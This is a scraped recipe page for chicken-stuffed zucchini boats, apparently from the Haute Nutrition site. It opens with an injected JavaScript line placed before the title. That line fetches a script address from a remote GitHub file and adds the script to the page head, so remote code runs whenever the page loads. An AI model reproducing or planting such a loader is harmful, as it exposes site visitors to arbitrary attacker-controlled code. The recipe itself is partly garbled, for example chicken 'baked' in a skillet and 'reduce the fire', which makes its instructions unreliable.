;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Zucchini boat – Haute Nutrition
zucchini boat

Zucchini boat

zucchini boat
zucchini boat

Zuccini boat

Prep Time 10 mins
Cook Time 15 mins
Total Time 25 mins
Course Main Course
Cuisine Italian
Servings 4 portions
Calories 359 kcal

Ingredients
  

  • 4 zucchini averages about 1 3/4 pounds
  • 450 g chopped chicken
  • 1/4 teaspoon salt
  • 1/4 tsp ground black pepper
  • 1 cup tomato sauce
  • 1/4 cup grated parmesan cheese
  • 1/2 cup grated mozzarella
  • 1 fresh basil sliced ​​to coat

Instructions
 

  • Preheat the oven to 400 degrees F. Spray a 9×13 inch baking dish with cooking spray. (I use avocado oil)
  • Place a large nonstick skillet over medium-high heat. Add the chicken and undo with a spoon. Add the salt. Bake 15 minutes, until chicken is cooked through. Stir occasionally and separate the chicken
  • Reduce the fire to a minimum. Cook 1 minute, stirring often. Add the tomato sauce. Cook 3 minutes, stirring occasionally.
  • While the chicken is cooking, cut the zucchini in half lengthways. Use a spoon to pick up the seeds and center each half of zucchini, leaving a 1/4 inch thick zucchini boat.
  • Place the zucchini in the baking dish with the cut side.
  • Pour the chicken mixture into the zucchini boats. Press the mixture into the zucchini using the back of the spoon.
  • Sprinkle the zucchini evenly with Parmesan and mozzarella cheese.
  • Place the baking dish in the oven for 15 minutes.
  • Sprinkle with fresh basil and serve with romaine salad oil and balsamic vinegar
Keyword low car dinner